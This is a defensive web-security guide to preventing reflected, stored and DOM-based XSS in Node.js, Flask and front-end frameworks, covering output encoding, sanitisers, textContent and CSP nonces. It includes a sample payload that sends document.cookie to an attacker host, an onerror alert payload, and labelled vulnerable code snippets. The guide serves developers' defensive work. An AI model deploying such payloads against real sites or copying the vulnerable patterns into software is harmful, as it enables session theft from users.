Cross-Site Scripting (XSS): Prevention Patterns for Modern Web Apps

Reflected, stored, and DOM-based XSS explained with real exploit chains and prevention patterns for JavaScript, React, Node.js, and Python.

Cross-site scripting remains one of the most common vulnerabilities on the web. It ranks in the OWASP Top 10 2021 as A03:2021 (Injection) because the surface area is enormous: anywhere user input reaches the DOM is a potential injection point. Frameworks help, but they do not eliminate XSS. This guide covers the three attack classes, how they differ in practice, and the controls that actually stop them.

The Three Variants

Reflected XSS — the payload arrives in a request (URL parameter, form field) and gets echoed directly into the response without storage. The attacker must trick a user into clicking a crafted link.

Stored XSS — the payload is saved in a database or log and rendered to other users later. No link required. A comment containing <script> tags that executes for every reader is stored XSS. These are higher-severity because the attacker does not need to target each victim individually.

DOM-based XSS — the vulnerability lives entirely in client-side JavaScript. The server sends a safe response, but the frontend reads from location.hash, document.referrer, or postMessage and writes it unsafely to the DOM. The server never sees the payload; WAFs and server-side output encoding cannot stop it.

Reflected XSS

A classic server-side example in a Node.js Express app:

// Vulnerable  --  user input reflected directly
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Results for: ${query}</h1>`);
});

Payload: ?q=<script>fetch('https://attacker.com/?c='+document.cookie)</script>

The response now contains a script tag that exfiltrates session cookies.

Equivalent vulnerability in Python/Flask:

# Vulnerable
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'<h1>Results for: {query}</h1>'  # Never do this

Server-side fix: output encoding

Encode before inserting into HTML. Every template engine has a mechanism; the key is knowing when it is applied and when it is bypassed.

# Flask/Jinja2  --  auto-escaped by default in .html templates
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return render_template('search.html', query=query)
    # In template: <h1>Results for: {{ query }}</h1>
    # Jinja2 escapes: &lt;script&gt; etc.

In Node.js, never concatenate user data into HTML strings. Use a templating engine with auto-escaping, or better, serve JSON and let the frontend framework handle rendering:

// Safe: return data, let the template handle display
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.json({ query, results: [] });
});

Stored XSS

Stored XSS typically arrives via a write endpoint (comment submission, profile bio, support ticket) and executes when anyone views the affected resource.

// Vulnerable: saves raw HTML and renders it
app.post('/comments', async (req, res) => {
  const { body } = req.body;
  await db.comments.create({ body }); // saves <script>...</script>
  res.redirect('/comments');
});

app.get('/comments', async (req, res) => {
  const comments = await db.comments.findAll();
  // Dangerous if rendering with innerHTML or {{ body | safe }}
  res.render('comments', { comments });
});

If the template renders comment.body without escaping, every user who views the comments page executes the attacker’s script.

Rich text: use an allowlist sanitiser

When you need to accept formatted HTML (markdown editors, WYSIWYG), sanitise before storing or before rendering. Do not build your own sanitiser.

import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const window = new JSDOM('').window;
const purify = DOMPurify(window);

function sanitizeHtml(dirty) {
  return purify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre'],
    ALLOWED_ATTR: ['href', 'title'],
    FORCE_HTTPS: true,
  });
}

app.post('/comments', async (req, res) => {
  const clean = sanitizeHtml(req.body.body);
  await db.comments.create({ body: clean });
  res.redirect('/comments');
});

DOMPurify is the most battle-tested browser and Node.js sanitiser. sanitize-html (npm) is a good server-side alternative with attribute allowlisting. Never use innerHTML with data that has not passed through a sanitiser.

DOM-Based XSS

This is the variant most developers underestimate because it requires no server-side mistake.

// Vulnerable: reads from URL hash and writes to DOM
const search = location.hash.slice(1); // everything after #
document.getElementById('results').innerHTML = `Showing: ${search}`;

Payload: https://example.com/search#<img src=x onerror=alert(1)>

The server serves a perfectly safe page. The vulnerability exists entirely in the two-line JavaScript above.

Common DOM XSS sources:

  • location.hash
  • location.search parsed manually
  • document.referrer
  • postMessage data without origin validation
  • localStorage / sessionStorage when populated from external sources

DOM XSS: use textContent, not innerHTML

// Safe: textContent never interprets HTML
const search = location.hash.slice(1);
document.getElementById('results').textContent = `Showing: ${search}`;

When you must insert HTML from dynamic content, use the DOM parser or a sanitiser:

// Safe: parse via DOMParser before inserting
function safeHTML(html) {
  const parser = new DOMParser();
  const doc = parser.parseFromString(html, 'text/html');
  return doc.body;
}

In React, Angular, and Vue, the framework escapes by default. dangerouslySetInnerHTML (React), [innerHTML] (Angular), v-html (Vue) bypass this protection — treat them like innerHTML and require sanitisation before use.

Content Security Policy

CSP is the defence-in-depth layer that limits what injected scripts can do even if your encoding fails. A properly configured CSP prevents exfiltration, inline script execution, and data theft.

Minimal effective CSP for a server-rendered app:

Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'; object-src 'none'; base-uri 'self';

Every <script> tag must carry a per-request nonce that matches. Injected scripts without the nonce do not execute.

In Express:

import crypto from 'crypto';

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
  res.setHeader('Content-Security-Policy',
    `default-src 'self'; script-src 'nonce-${res.locals.cspNonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self';`
  );
  next();
});

In your template:

<script nonce="{{ cspNonce }}">
  // your application code
</script>

strict-dynamic allows scripts loaded by nonce-trusted scripts to also run, which makes CSP compatible with dynamic script loaders and modern frontend frameworks.

Summary: Controls That Actually Work

ControlStops reflectedStops storedStops DOMNotes
Output encoding (server)YesYesNoNon-negotiable for server-rendered apps
Framework auto-escapingYesYesPartialDepends on avoiding unsafe sinks
HTML sanitiser (allowlist)YesYesNoRequired when you must accept HTML input
textContent instead of innerHTMLNoNoYesSingle most effective DOM XSS fix
CSP with noncesYes (depth)Yes (depth)Yes (depth)Defence in depth, not a substitute

No single control covers all three variants. Apply output encoding and auto-escaping by default, avoid unsafe DOM sinks, sanitise rich text with an allowlist library, and add CSP as a backstop.